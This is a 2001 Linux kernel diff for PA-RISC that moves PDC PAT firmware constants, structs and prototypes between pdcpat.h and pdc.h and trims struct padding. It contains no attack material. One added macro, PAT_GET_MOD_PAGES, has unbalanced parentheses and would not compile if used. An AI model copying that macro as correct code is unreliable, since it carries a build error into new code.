+#define PDC_PAT_CELL_GET_REMOTE_PDH 17L /* Read Remote PDH Buffer */
+#define PDC_PAT_CELL_GET_DBG_INFO   128L  /* Return DBG Buffer Info */
+#define PDC_PAT_CELL_CHANGE_ALIAS   129L  /* Change Non-Equivalent Alias Chacking */
+
+/*
+** Arg to PDC_PAT_CELL_MODULE memaddr[4]
+**
+** Addresses on the Merced Bus != all Runway Bus addresses.
+** This is intended for programming SBA/LBA chips range registers.
+*/
+#define IO_VIEW      0UL
+#define PA_VIEW      1UL
+
+/* PDC_PAT_CELL_MODULE entity type values */
+#define	PAT_ENTITY_CA	0	/* central agent */
+#define	PAT_ENTITY_PROC	1	/* processor */
+#define	PAT_ENTITY_MEM	2	/* memory controller */
+#define	PAT_ENTITY_SBA	3	/* system bus adapter */
+#define	PAT_ENTITY_LBA	4	/* local bus adapter */
+#define	PAT_ENTITY_PBC	5	/* processor bus converter */
+#define	PAT_ENTITY_XBC	6	/* crossbar fabric connect */
+#define	PAT_ENTITY_RC	7	/* fabric interconnect */
+
+/* PDC_PAT_CELL_MODULE address range type values */
+#define PAT_PBNUM           0         /* PCI Bus Number */
+#define PAT_LMMIO           1         /* < 4G MMIO Space */
+#define PAT_GMMIO           2         /* > 4G MMIO Space */
+#define PAT_NPIOP           3         /* Non Postable I/O Port Space */
+#define PAT_PIOP            4         /* Postable I/O Port Space */
+#define PAT_AHPA            5         /* Addional HPA Space */
+#define PAT_UFO             6         /* HPA Space (UFO for Mariposa) */
+#define PAT_GNIP            7         /* GNI Reserved Space */
+
+
+/* PDC PAT CHASSIS LOG */
+
+#define PDC_PAT_CHASSIS_LOG		65L /* Platform logging & forward
+					    ** progress functions */
+#define PDC_PAT_CHASSIS_WRITE_LOG    	0L /* Write Log Entry */
+#define PDC_PAT_CHASSIS_READ_LOG     	1L /* Read  Log Entry */
+
+/* PDC PAT CPU  */
+
+#define PDC_PAT_CPU                	67L /* Interface to CPU configuration
+                                        	* within the protection domain */
+#define PDC_PAT_CPU_INFO            	0L /* Return CPU config info */
+#define PDC_PAT_CPU_DELETE          	1L /* Delete CPU */
+#define PDC_PAT_CPU_ADD             	2L /* Add    CPU */
+#define PDC_PAT_CPU_GET_NUMBER      	3L /* Return CPU Number */
+#define PDC_PAT_CPU_GET_HPA         	4L /* Return CPU HPA */
+#define PDC_PAT_CPU_STOP            	5L /* Stop   CPU */
+#define PDC_PAT_CPU_RENDEZVOUS      	6L /* Rendezvous CPU */
+#define PDC_PAT_CPU_GET_CLOCK_INFO  	7L /* Return CPU Clock info */
+#define PDC_PAT_CPU_GET_RENDEZVOUS_STATE 8L /* Return Rendezvous State */
+#define PDC_PAT_CPU_PLUNGE_FABRIC 	128L /* Plunge Fabric */
+#define PDC_PAT_CPU_UPDATE_CACHE_CLEANSING 129L /* Manipulate Cache 
+                                                 * Cleansing Mode */
+/*  PDC PAT EVENT */
+
+#define PDC_PAT_EVENT              	68L /* Interface to Platform Events */
+#define PDC_PAT_EVENT_GET_CAPS     	0L /* Get Capabilities */
+#define PDC_PAT_EVENT_SET_MODE     	1L /* Set Notification Mode */
+#define PDC_PAT_EVENT_SCAN         	2L /* Scan Event */
+#define PDC_PAT_EVENT_HANDLE       	3L /* Handle Event */
+#define PDC_PAT_EVENT_GET_NB_CALL  	4L /* Get Non-Blocking call Args */
+
+/*  PDC PAT HPMC */
+
+#define PDC_PAT_HPMC               70L /* Cause processor to go into spin
+				       ** loop, and wait for wake up from
+				       ** Monarch Processor */
+#define PDC_PAT_HPMC_RENDEZ_CPU     0L /* go into spin loop */
+#define PDC_PAT_HPMC_SET_PARAMS     1L /* Allows OS to specify intr which PDC 
+                                        * will use to interupt OS during machine
+                                        * check rendezvous */
+
+/* parameters for PDC_PAT_HPMC_SET_PARAMS: */
+#define HPMC_SET_PARAMS_INTR 	    1L /* Rendezvous Interrupt */
+#define HPMC_SET_PARAMS_WAKE 	    2L /* Wake up processor */
+
+/*  PDC PAT IO */
+
+#define PDC_PAT_IO                  71L /* On-line services for I/O modules */
+#define PDC_PAT_IO_GET_SLOT_STATUS   	5L /* Get Slot Status Info*/
+#define PDC_PAT_IO_GET_LOC_FROM_HARDWARE 6L /* Get Physical Location from */
+                                            /* Hardware Path */
+#define PDC_PAT_IO_GET_HARDWARE_FROM_LOC 7L /* Get Hardware Path from 
+                                             * Physical Location */
+#define PDC_PAT_IO_GET_PCI_CONFIG_FROM_HW 11L /* Get PCI Configuration
+                                               * Address from Hardware Path */
+#define PDC_PAT_IO_GET_HW_FROM_PCI_CONFIG 12L /* Get Hardware Path 
+                                               * from PCI Configuration Address */
+#define PDC_PAT_IO_READ_HOST_BRIDGE_INFO 13L  /* Read Host Bridge State Info */
+#define PDC_PAT_IO_CLEAR_HOST_BRIDGE_INFO 14L /* Clear Host Bridge State Info*/
+#define PDC_PAT_IO_GET_PCI_ROUTING_TABLE_SIZE 15L /* Get PCI INT Routing Table 
+                                                   * Size */
+#define PDC_PAT_IO_GET_PCI_ROUTING_TABLE  16L /* Get PCI INT Routing Table */
+#define PDC_PAT_IO_GET_HINT_TABLE_SIZE 	17L /* Get Hint Table Size */
+#define PDC_PAT_IO_GET_HINT_TABLE   	18L /* Get Hint Table */
+#define PDC_PAT_IO_PCI_CONFIG_READ  	19L /* PCI Config Read */
+#define PDC_PAT_IO_PCI_CONFIG_WRITE 	20L /* PCI Config Write */
+#define PDC_PAT_IO_GET_NUM_IO_SLOTS 	21L /* Get Number of I/O Bay Slots in 
+                                       		  * Cabinet */
+#define PDC_PAT_IO_GET_LOC_IO_SLOTS 	22L /* Get Physical Location of I/O */
+                                   		     /* Bay Slots in Cabinet */
+#define PDC_PAT_IO_BAY_STATUS_INFO  	28L /* Get I/O Bay Slot Status Info */
+#define PDC_PAT_IO_GET_PROC_VIEW        29L /* Get Processor view of IO address */
+#define PDC_PAT_IO_PROG_SBA_DIR_RANGE   30L /* Program directed range */
+
+/* PDC PAT MEM */
+
+#define PDC_PAT_MEM             	72L /* Manage memory page deallocation */
+#define PDC_PAT_MEM_PD_INFO     	0L /* Return PDT info for PD       */
+#define PDC_PAT_MEM_PD_CLEAR    	1L /* Clear PDT for PD             */
+#define PDC_PAT_MEM_PD_READ     	2L /* Read PDT entries for PD      */
+#define PDC_PAT_MEM_PD_RESET    	3L /* Reset clear bit for PD       */
+#define PDC_PAT_MEM_CELL_INFO   	5L /* Return PDT info For Cell     */
+#define PDC_PAT_MEM_CELL_CLEAR  	6L /* Clear PDT For Cell           */
+#define PDC_PAT_MEM_CELL_READ   	7L /* Read PDT entries For Cell    */
+#define PDC_PAT_MEM_CELL_RESET  	8L /* Reset clear bit For Cell     */
+#define PDC_PAT_MEM_SETGM	  	9L /* Set Golden Memory value      */
+#define PDC_PAT_MEM_ADD_PAGE    	10L /* ADDs a page to the cell      */
+#define PDC_PAT_MEM_ADDRESS     	11L /* Get Physical Location From   */
+                                    		 /* Memory Address               */
+#define PDC_PAT_MEM_GET_TXT_SIZE   	12L /* Get Formatted Text Size   */
+#define PDC_PAT_MEM_GET_PD_TXT     	13L /* Get PD Formatted Text     */
+#define PDC_PAT_MEM_GET_CELL_TXT   	14L /* Get Cell Formatted Text   */
+#define PDC_PAT_MEM_RD_STATE_INFO  	15L /* Read Mem Module State Info*/
+#define PDC_PAT_MEM_CLR_STATE_INFO 	16L /*Clear Mem Module State Info*/
+#define PDC_PAT_MEM_CLEAN_RANGE    	128L /*Clean Mem in specific range*/
+#define PDC_PAT_MEM_GET_TBL_SIZE   	131L /* Get Memory Table Size     */
+#define PDC_PAT_MEM_GET_TBL        	132L /* Get Memory Table          */
+
+/* PDC PAT NVOLATILE */
+
+#define PDC_PAT_NVOLATILE          	73L /* Access Non-Volatile Memory */
+#define PDC_PAT_NVOLATILE_READ      	0L /* Read Non-Volatile Memory   */
+#define PDC_PAT_NVOLATILE_WRITE     	1L /* Write Non-Volatile Memory  */
+#define PDC_PAT_NVOLATILE_GET_SIZE  	2L /* Return size of NVM         */
+#define PDC_PAT_NVOLATILE_VERIFY    	3L /* Verify contents of NVM     */
+#define PDC_PAT_NVOLATILE_INIT      	4L /* Initialize NVM             */
+
+/* PDC PAT PD */
+
+#define PDC_PAT_PD                      74L /* Protection Domain Info      */
+#define PDC_PAT_PD_GET_ADDR_MAP         0L  /* Get Address Map             */
+
+/* PDC_PAT_PD_GET_ADDR_MAP entry types */
+
+#define PAT_MEMORY_DESCRIPTOR           1
+
+/* PDC_PAT_PD_GET_ADDR_MAP memory types */
+
+#define PAT_MEMTYPE_MEMORY              0
+#define PAT_MEMTYPE_FIRMWARE            4
+
+/* PDC_PAT_PD_GET_ADDR_MAP memory usage */
+
+#define PAT_MEMUSE_GENERAL              0
+#define PAT_MEMUSE_GI                 128
+#define PAT_MEMUSE_GNI                129
+#endif /* __LP64__ */
+
 #ifndef __ASSEMBLY__
 
 #include <linux/types.h>
@@ -193,6 +371,18 @@ extern int pdc_type;
 
 #define is_pdc_pat()    (pdc_type == PDC_TYPE_PAT)
 
+struct pdc_chassis_info {       /* for PDC_CHASSIS_INFO */
+	unsigned long actcnt;   /* actual number of bytes returned */
+	unsigned long maxcnt;   /* maximum number of bytes that could be returned */
+};
+
+struct pdc_coproc_cfg {         /* for PDC_COPROC_CFG */
+        unsigned long ccr_functional;
+        unsigned long ccr_present;
+        unsigned long revision;
+        unsigned long model;
+};
+
 struct pdc_model {		/* for PDC_MODEL */
 	unsigned long hversion;
 	unsigned long sversion;
@@ -203,19 +393,7 @@ struct pdc_model {		/* for PDC_MODEL */
 	unsigned long arch_rev;
 	unsigned long pot_key;
 	unsigned long curr_key;
-	unsigned long pad[32-9];
-} __attribute__((aligned(8))) ;
-
-
-struct pdc_model_sysmodel {	/* for PDC_MODEL_SYSMODEL */
-	unsigned long mod_len;
-	unsigned long pad[32-1];
-} __attribute__((aligned(8))) ;
-
-struct pdc_model_cpuid	 {	/* for PDC_MODEL_CPU_ID */
-	unsigned long cpuid;
-	unsigned long pad[32-1];
-} __attribute__((aligned(8))) ;
+};
 
 struct pdc_cache_cf {		/* for PDC_CACHE  (I/D-caches) */
     unsigned long
@@ -281,14 +459,7 @@ struct pdc_cache_info {		/* main-PDC_CAC
 	unsigned long	dt_off_stride;
 	unsigned long	dt_off_count;
 	unsigned long	dt_loop;
-	/* padded to 32 entries... */
-	unsigned long 	pad[32-30];
-} __attribute__((aligned(8))) ;
-
-struct pdc_hpa {      /* PDC_HPA */
-	unsigned long	hpa;
-	unsigned long	pad[31];
-} __attribute__((aligned(8))) ;
+};
 
 #if 0
 /* If you start using the next struct, you'll have to adjust it to
@@ -312,7 +483,7 @@ struct pdc_iodc {     /* PDC_IODC */
 } __attribute__((aligned(8))) ;
 #endif
 
-#ifndef __LP64__
+#ifndef CONFIG_PA20
 /* no BLTBs in pa2.0 processors */
 struct pdc_btlb_info_range {
 	__u8 res00;
@@ -326,21 +497,13 @@ struct pdc_btlb_info {	/* PDC_BLOCK_TLB,
 	unsigned int max_size;	/* maximum size of BTLB in pages */
 	struct pdc_btlb_info_range fixed_range_info;
 	struct pdc_btlb_info_range variable_range_info;
-	unsigned int pad[32-4];
-} __attribute__((aligned(8))) ;
+};
 #endif
 
-struct pdc_tlb {		/* for PDC_TLB */
-	unsigned long min_size;
-	unsigned long max_size;
-	unsigned long pad[32-2];
-} __attribute__((aligned(8))) ;
-
 #ifdef __LP64__
 struct pdc_memory_table_raddr { /* PDC_MEM/PDC_MEM_TABLE (return info) */
 	unsigned long entries_returned;
 	unsigned long entries_total;
-	unsigned long pad[32-2];
 };
 
 struct pdc_memory_table {       /* PDC_MEM/PDC_MEM_TABLE (arguments) */
@@ -354,14 +517,12 @@ struct pdc_system_map_mod_info { /* PDC_
 	void * mod_addr;
 	unsigned long mod_pgs;
 	unsigned long add_addrs;
-	unsigned long pad[32-3];
-} __attribute__((aligned(8))) ;
+};
 
 struct pdc_system_map_addr_info { /* PDC_SYSTEM_MAP/FIND_ADDRESS */
 	void * mod_addr;
 	unsigned long mod_pgs;
-	unsigned long pad[32-2];
-} __attribute__((aligned(8))) ;
+};
 
 /*
  * Device path specifications used by PDC.
@@ -372,31 +533,55 @@ struct pdc_module_path {
 			/* I/O adaptor (< 0 means none, > 63 resvd) */
 	char  mod;	/* fixed field of specified module */
 	unsigned int layers[6]; /* device-specific info (ctlr #, unit # ...) */
-	unsigned long pad[32-2];
-} __attribute__((aligned(8))) ;
+};
 
 #ifndef __LP64__
 /* Probably needs 64-bit porting -PB */
 struct pdc_memory_map {		/* PDC_MEMORY_MAP */
 	unsigned long hpa;	/* mod's register set address */
 	unsigned long more_pgs;	/* number of additional I/O pgs */
-	int pad1[30];
-} __attribute__((aligned(8))) ;
-
-struct pdc_lan_station_id {	/* PDC_LAN_STATION_ID */
-	unsigned char addr[PDC_LAN_STATION_ID_SIZE];
-	unsigned char pad0[2];
-	int pad1[30];
 };
 #endif
 
 struct pdc_tod {
 	unsigned long tod_sec; 
 	unsigned long tod_usec;
-	long pad[30];
-} __attribute__((aligned(8))) ;
+};
+
+#ifdef __LP64__
+struct pdc_pat_cell_num {
+	unsigned long cell_num;
+	unsigned long cell_loc;
+};
+
+struct pdc_pat_cpu_num {
+	unsigned long cpu_num;
+	unsigned long cpu_loc;
+};
 
+struct pdc_pat_pd_addr_map_entry {
+	unsigned char entry_type;       /* 1 = Memory Descriptor Entry Type */
+	unsigned char reserve1[5];
+	unsigned char memory_type;
+	unsigned char memory_usage;
+	unsigned long paddr;
+	unsigned int  pages;            /* Length in 4K pages */
+	unsigned int  reserve2;
+	unsigned long cell_map;
+};
+
+/* FIXME: mod[508] should really be a union of the various mod components */
+struct pdc_pat_cell_mod_maddr_block {	/* PDC_PAT_CELL_MODULE */
+	unsigned long cba;              /* function 0 configuration space address */
+	unsigned long mod_info;         /* module information */
+	unsigned long mod_location;     /* physical location of the module */
+	unsigned long mod_path;         /* module path (device path - layers) */
+	unsigned long mod[508];		/* PAT cell module components */
+};
 
+typedef struct pdc_pat_cell_mod_maddr_block pdc_pat_cell_mod_maddr_block_t;
+#endif
+
 /* architected results from PDC_PIM/transfer hpmc on a PA1.1 machine */
 
 struct pdc_hpmc_pim_11 { /* PDC_PIM */
@@ -599,67 +784,94 @@ struct zeropage {
 
 #ifndef __ASSEMBLY__
 extern void pdc_console_init(void);
-/* pdc_get/put are NOT SMP safe - use at your own risk! */
-extern int  pdc_getc(void);		/* wait for char */
-extern void pdc_putc(unsigned char);	/* print char */
-
 extern void setup_pdc(void);            /* in inventory.c */
 
 /* wrapper-functions from pdc.c */
 
 int pdc_add_valid(void *address);
-int pdc_hpa_processor(struct pdc_hpa *address);
-int pdc_coproc_cfg(void *address);
-int pdc_iodc_read(void *address, void *hpa, unsigned int index,
+int pdc_chassis_info(struct pdc_chassis_info *chassis_info, void *led_info, unsigned long len);
+int pdc_coproc_cfg(struct pdc_coproc_cfg *pdc_coproc_info);
+int pdc_iodc_read(unsigned long *actcnt, void *hpa, unsigned int index,
 		  void *iodc_data, unsigned int iodc_data_size);
-int pdc_psw_get_mask(void *address);
-int pdc_psw_get_defaults(void *address);
-int pdc_psw_set_defaults(unsigned long val);
 int pdc_system_map_find_mods(struct pdc_system_map_mod_info *pdc_mod_info,
 			     struct pdc_module_path *mod_path, long mod_index);
 int pdc_system_map_find_addrs(struct pdc_system_map_addr_info *pdc_addr_info, 
 			      long mod_index, long addr_index);
 int pdc_model_info(struct pdc_model *model);
 int pdc_model_sysmodel(char  *name);
-int pdc_model_cpuid(struct pdc_model_cpuid *cpu_id);
-int pdc_model_versions(struct pdc_model_cpuid *cpu_id, int id);
+int pdc_model_cpuid(unsigned long *cpu_id);
+int pdc_model_versions(unsigned long *versions, int id);
 int pdc_cache_info(struct pdc_cache_info *cache);
+#ifndef CONFIG_PA20
+int pdc_btlb_info(struct pdc_btlb_info *btlb);
+#endif
 #ifndef __LP64__
-int pdc_btlb_info( struct pdc_btlb_info *btlb);
-int pdc_lan_station_id( char *lan_addr, void *net_hpa);
 int pdc_mem_map_hpa(struct pdc_memory_map *r_addr, struct pdc_module_path *mod_path);
 #endif
-
-extern int pdc_chassis_disp(unsigned long disp);
-extern int pdc_chassis_info(void *pdc_result, void *chassis_info, unsigned long len);
+int pdc_lan_station_id(char *lan_addr, void *net_hpa);
 
-int pdc_pci_irt_size(void *r_addr, void *hpa);
-int pdc_pci_irt(void *r_addr, void *hpa, void *tbl);
+int pdc_pci_irt_size(unsigned long *num_entries, void *hpa);
+int pdc_pci_irt(unsigned long num_entries, void *hpa, void *tbl);
 
 int pdc_tod_read(struct pdc_tod *tod);
 int pdc_tod_set(unsigned long sec, unsigned long usec);
 
 #ifdef __LP64__
-int pdc_mem_mem_table(void *r_addr, void *tbl, unsigned long entries);
+int pdc_mem_mem_table(struct pdc_memory_table_raddr *r_addr, struct pdc_memory_table *tbl, 
+		      unsigned long entries);
 #endif
 
-/* on all currently-supported platforms, IODC I/O calls are always
- * 32-bit calls, and MEM_PDC calls are always the same width as the OS.
- * This means Cxxx boxes can't run wide kernels right now. -PB
- *
- * Note that some PAT boxes may have 64-bit IODC I/O...
- */
+int pdc_do_firm_test_reset(unsigned long ftc_bitmap);
+int pdc_do_reset(void);
+void pdc_iodc_putc(unsigned char c);
+
+int pdc_sti_call(unsigned long func, unsigned long flags,
+                 unsigned long inptr, unsigned long outputr,
+                 unsigned long glob_cfg);
+
+#ifdef __LP64__
+int pdc_pat_cell_get_number(struct pdc_pat_cell_num *cell_info);
+int pdc_pat_cell_module(unsigned long *actcnt, unsigned long ploc, unsigned long mod,
+			unsigned long view_type, void *mem_addr);
+int pdc_pat_cpu_get_number(struct pdc_pat_cpu_num *cpu_info, void *hpa);
+int pdc_pat_get_irt_size(unsigned long *num_entries, unsigned long cell_num);
+int pdc_pat_get_irt(void *r_addr, unsigned long cell_num);
+int pdc_pat_pd_get_addr_map(unsigned long *actual_len, void *mem_addr, 
+			    unsigned long count, unsigned long offset);
+
+/********************************************************************
+* PDC_PAT_CELL[Return Cell Module] memaddr[0] conf_base_addr
+* ----------------------------------------------------------
+* Bit  0 to 51 - conf_base_addr
+* Bit 52 to 62 - reserved
+* Bit       63 - endianess bit
+********************************************************************/
+#define PAT_GET_CBA(value) ((value) & 0xfffffffffffff000UL)
+
+/********************************************************************
+* PDC_PAT_CELL[Return Cell Module] memaddr[1] mod_info
+* ----------------------------------------------------
+* Bit  0 to  7 - entity type
+*    0 = central agent,            1 = processor,
+*    2 = memory controller,        3 = system bus adapter,
+*    4 = local bus adapter,        5 = processor bus converter,
+*    6 = crossbar fabric connect,  7 = fabric interconnect,
+*    8 to 254 reserved,            255 = unknown.
+* Bit  8 to 15 - DVI
+* Bit 16 to 23 - IOC functions
+* Bit 24 to 39 - reserved
+* Bit 40 to 63 - mod_pages
+*    number of 4K pages a module occupies starting at conf_base_addr
+********************************************************************/
+#define PAT_GET_ENTITY(value)	(((value) >> 56) & 0xffUL)
+#define PAT_GET_DVI(value)	(((value) >> 48) & 0xffUL)
+#define PAT_GET_IOC(value)	(((value) >> 40) & 0xffUL)
+#define PAT_GET_MOD_PAGES(value)(((value) & 0xffffffUL)
 
-/* yes 'int', not 'long' -- IODC I/O is always 32-bit stuff */
-extern long real64_call(unsigned long function, ...);
-extern long real32_call(unsigned long function, ...);
-
-#if defined(__LP64__) && ! defined(CONFIG_PDC_NARROW)
-#define MEM_PDC (unsigned long)(PAGE0->mem_pdc_hi) << 32 | PAGE0->mem_pdc
-#   define mem_pdc_call(args...) real64_call(MEM_PDC, args)
 #else
-#define MEM_PDC (unsigned long)PAGE0->mem_pdc
-#   define mem_pdc_call(args...) real32_call(MEM_PDC, args)
+/* No PAT support for 32-bit kernels...sorry */
+#define pdc_pat_get_irt_size(num_entries, cell_numn)	PDC_RET_NE_PROC
+#define pdc_pat_get_irt(r_addr, cell_num)	PDC_RET_NE_PROC
 #endif
 
 extern void pdc_init(void);
Index: include/asm-parisc/pdcpat.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/asm-parisc/pdcpat.h,v
retrieving revision 1.7
diff -u -p -r1.7 pdcpat.h
--- pdcpat.h	2001/03/02 10:31:51	1.7
+++ pdcpat.h	2001/03/29 07:57:59
@@ -10,183 +10,6 @@
  * Copyright 2000 (c) Grant Grundler <grundler@puffin.external.hp.com>
  */
 
-/* PDC PAT CELL */
-#define PDC_PAT_CELL           	64L   /* Interface for gaining and 
-                                         * manipulatin g cell state within PD */
-#define PDC_PAT_CELL_GET_NUMBER    0L   /* Return Cell number */
-#define PDC_PAT_CELL_GET_INFO      1L   /* Returns info about Cell */
-#define PDC_PAT_CELL_MODULE        2L   /* Returns info about Module */
-#define PDC_PAT_CELL_SET_ATTENTION 9L   /* Set Cell Attention indicator */
-#define PDC_PAT_CELL_NUMBER_TO_LOC 10L   /* Cell Number -> Location */
-#define PDC_PAT_CELL_WALK_FABRIC   11L   /* Walk the Fabric */
-#define PDC_PAT_CELL_GET_RDT_SIZE  12L   /* Return Route Distance Table Sizes */
-#define PDC_PAT_CELL_GET_RDT       13L   /* Return Route Distance Tables */
-#define PDC_PAT_CELL_GET_LOCAL_PDH_SZ 14L /* Read Local PDH Buffer Size */
-#define PDC_PAT_CELL_SET_LOCAL_PDH    15L  /* Write Local PDH Buffer */
-#define PDC_PAT_CELL_GET_REMOTE_PDH_SZ 16L /* Return Remote PDH Buffer Size */
-#define PDC_PAT_CELL_GET_REMOTE_PDH 17L /* Read Remote PDH Buffer */
-#define PDC_PAT_CELL_GET_DBG_INFO   128L  /* Return DBG Buffer Info */
-#define PDC_PAT_CELL_CHANGE_ALIAS   129L  /* Change Non-Equivalent Alias Chacking */
-
-
-/*
-** Arg to PDC_PAT_CELL_MODULE memaddr[4]
-**
-** Addresses on the Merced Bus != all Runway Bus addresses.
-** This is intended for programming SBA/LBA chips range registers.
-*/
-#define IO_VIEW      0UL
-#define PA_VIEW      1UL
-
-/* PDC_PAT_CELL_MODULE entity type values */
-#define	PAT_ENTITY_CA	0	/* central agent */
-#define	PAT_ENTITY_PROC	1	/* processor */
-#define	PAT_ENTITY_MEM	2	/* memory controller */
-#define	PAT_ENTITY_SBA	3	/* system bus adapter */
-#define	PAT_ENTITY_LBA	4	/* local bus adapter */
-#define	PAT_ENTITY_PBC	5	/* processor bus converter */
-#define	PAT_ENTITY_XBC	6	/* crossbar fabric connect */
-#define	PAT_ENTITY_RC	7	/* fabric interconnect */
-
-/* PDC_PAT_CELL_MODULE address range type values */
-#define PAT_PBNUM           0         /* PCI Bus Number */
-#define PAT_LMMIO           1         /* < 4G MMIO Space */
-#define PAT_GMMIO           2         /* > 4G MMIO Space */
-#define PAT_NPIOP           3         /* Non Postable I/O Port Space */
-#define PAT_PIOP            4         /* Postable I/O Port Space */
-#define PAT_AHPA            5         /* Addional HPA Space */
-#define PAT_UFO             6         /* HPA Space (UFO for Mariposa) */
-#define PAT_GNIP            7         /* GNI Reserved Space */
-
-
-/* PDC PAT CHASSIS LOG */
-
-#define PDC_PAT_CHASSIS_LOG		65L /* Platform logging & forward
-					    ** progress functions */
-#define PDC_PAT_CHASSIS_WRITE_LOG    	0L /* Write Log Entry */
-#define PDC_PAT_CHASSIS_READ_LOG     	1L /* Read  Log Entry */
-
-/* PDC PAT CPU  */
-
-#define PDC_PAT_CPU                	67L /* Interface to CPU configuration
-                                        	* within the protection domain */
-#define PDC_PAT_CPU_INFO            	0L /* Return CPU config info */
-#define PDC_PAT_CPU_DELETE          	1L /* Delete CPU */
-#define PDC_PAT_CPU_ADD             	2L /* Add    CPU */
-#define PDC_PAT_CPU_GET_NUMBER      	3L /* Return CPU Number */
-#define PDC_PAT_CPU_GET_HPA         	4L /* Return CPU HPA */
-#define PDC_PAT_CPU_STOP            	5L /* Stop   CPU */
-#define PDC_PAT_CPU_RENDEZVOUS      	6L /* Rendezvous CPU */
-#define PDC_PAT_CPU_GET_CLOCK_INFO  	7L /* Return CPU Clock info */
-#define PDC_PAT_CPU_GET_RENDEZVOUS_STATE 8L /* Return Rendezvous State */
-#define PDC_PAT_CPU_PLUNGE_FABRIC 	128L /* Plunge Fabric */
-#define PDC_PAT_CPU_UPDATE_CACHE_CLEANSING 129L /* Manipulate Cache 
-                                                 * Cleansing Mode */
-/*  PDC PAT EVENT */
-
-#define PDC_PAT_EVENT              	68L /* Interface to Platform Events */
-#define PDC_PAT_EVENT_GET_CAPS     	0L /* Get Capabilities */
-#define PDC_PAT_EVENT_SET_MODE     	1L /* Set Notification Mode */
-#define PDC_PAT_EVENT_SCAN         	2L /* Scan Event */
-#define PDC_PAT_EVENT_HANDLE       	3L /* Handle Event */
-#define PDC_PAT_EVENT_GET_NB_CALL  	4L /* Get Non-Blocking call Args */
-
-/*  PDC PAT HPMC */
-
-#define PDC_PAT_HPMC               70L /* Cause processor to go into spin
-				       ** loop, and wait for wake up from
-				       ** Monarch Processor */
-#define PDC_PAT_HPMC_RENDEZ_CPU     0L /* go into spin loop */
-#define PDC_PAT_HPMC_SET_PARAMS     1L /* Allows OS to specify intr which PDC 
-                                        * will use to interupt OS during machine
-                                        * check rendezvous */
-
-/* parameters for PDC_PAT_HPMC_SET_PARAMS: */
-#define HPMC_SET_PARAMS_INTR 	    1L /* Rendezvous Interrupt */
-#define HPMC_SET_PARAMS_WAKE 	    2L /* Wake up processor */
-
-/*  PDC PAT IO */
-
-#define PDC_PAT_IO                  71L /* On-line services for I/O modules */
-#define PDC_PAT_IO_GET_SLOT_STATUS   	5L /* Get Slot Status Info*/
-#define PDC_PAT_IO_GET_LOC_FROM_HARDWARE 6L /* Get Physical Location from */
-                                            /* Hardware Path */
-#define PDC_PAT_IO_GET_HARDWARE_FROM_LOC 7L /* Get Hardware Path from 
-                                             * Physical Location */
-#define PDC_PAT_IO_GET_PCI_CONFIG_FROM_HW 11L /* Get PCI Configuration
-                                               * Address from Hardware Path */
-#define PDC_PAT_IO_GET_HW_FROM_PCI_CONFIG 12L /* Get Hardware Path 
-                                               * from PCI Configuration Address */
-#define PDC_PAT_IO_READ_HOST_BRIDGE_INFO 13L  /* Read Host Bridge State Info */
-#define PDC_PAT_IO_CLEAR_HOST_BRIDGE_INFO 14L /* Clear Host Bridge State Info*/
-#define PDC_PAT_IO_GET_PCI_ROUTING_TABLE_SIZE 15L /* Get PCI INT Routing Table 
-                                                   * Size */
-#define PDC_PAT_IO_GET_PCI_ROUTING_TABLE  16L /* Get PCI INT Routing Table */
-#define PDC_PAT_IO_GET_HINT_TABLE_SIZE 	17L /* Get Hint Table Size */
-#define PDC_PAT_IO_GET_HINT_TABLE   	18L /* Get Hint Table */
-#define PDC_PAT_IO_PCI_CONFIG_READ  	19L /* PCI Config Read */
-#define PDC_PAT_IO_PCI_CONFIG_WRITE 	20L /* PCI Config Write */
-#define PDC_PAT_IO_GET_NUM_IO_SLOTS 	21L /* Get Number of I/O Bay Slots in 
-                                       		  * Cabinet */
-#define PDC_PAT_IO_GET_LOC_IO_SLOTS 	22L /* Get Physical Location of I/O */
-                                   		     /* Bay Slots in Cabinet */
-#define PDC_PAT_IO_BAY_STATUS_INFO  	28L /* Get I/O Bay Slot Status Info */
-#define PDC_PAT_IO_GET_PROC_VIEW        29L /* Get Processor view of IO address */
-#define PDC_PAT_IO_PROG_SBA_DIR_RANGE   30L /* Program directed range */
-
-/* PDC PAT MEM */
-
-#define PDC_PAT_MEM             	72L /* Manage memory page deallocation */
-#define PDC_PAT_MEM_PD_INFO     	0L /* Return PDT info for PD       */
-#define PDC_PAT_MEM_PD_CLEAR    	1L /* Clear PDT for PD             */
-#define PDC_PAT_MEM_PD_READ     	2L /* Read PDT entries for PD      */
-#define PDC_PAT_MEM_PD_RESET    	3L /* Reset clear bit for PD       */
-#define PDC_PAT_MEM_CELL_INFO   	5L /* Return PDT info For Cell     */
-#define PDC_PAT_MEM_CELL_CLEAR  	6L /* Clear PDT For Cell           */
-#define PDC_PAT_MEM_CELL_READ   	7L /* Read PDT entries For Cell    */
-#define PDC_PAT_MEM_CELL_RESET  	8L /* Reset clear bit For Cell     */
-#define PDC_PAT_MEM_SETGM	  	9L /* Set Golden Memory value      */
-#define PDC_PAT_MEM_ADD_PAGE    	10L /* ADDs a page to the cell      */
-#define PDC_PAT_MEM_ADDRESS     	11L /* Get Physical Location From   */
-                                    		 /* Memory Address               */
-#define PDC_PAT_MEM_GET_TXT_SIZE   	12L /* Get Formatted Text Size   */
-#define PDC_PAT_MEM_GET_PD_TXT     	13L /* Get PD Formatted Text     */
-#define PDC_PAT_MEM_GET_CELL_TXT   	14L /* Get Cell Formatted Text   */
-#define PDC_PAT_MEM_RD_STATE_INFO  	15L /* Read Mem Module State Info*/
-#define PDC_PAT_MEM_CLR_STATE_INFO 	16L /*Clear Mem Module State Info*/
-#define PDC_PAT_MEM_CLEAN_RANGE    	128L /*Clean Mem in specific range*/
-#define PDC_PAT_MEM_GET_TBL_SIZE   	131L /* Get Memory Table Size     */
-#define PDC_PAT_MEM_GET_TBL        	132L /* Get Memory Table          */
-
-/* PDC PAT NVOLATILE */
-
-#define PDC_PAT_NVOLATILE          	73L /* Access Non-Volatile Memory */
-#define PDC_PAT_NVOLATILE_READ      	0L /* Read Non-Volatile Memory   */
-#define PDC_PAT_NVOLATILE_WRITE     	1L /* Write Non-Volatile Memory  */
-#define PDC_PAT_NVOLATILE_GET_SIZE  	2L /* Return size of NVM         */
-#define PDC_PAT_NVOLATILE_VERIFY    	3L /* Verify contents of NVM     */
-#define PDC_PAT_NVOLATILE_INIT      	4L /* Initialize NVM             */
-
-/* PDC PAT PD */
-
-#define PDC_PAT_PD                      74L /* Protection Domain Info      */
-#define PDC_PAT_PD_GET_ADDR_MAP         0L  /* Get Address Map             */
-
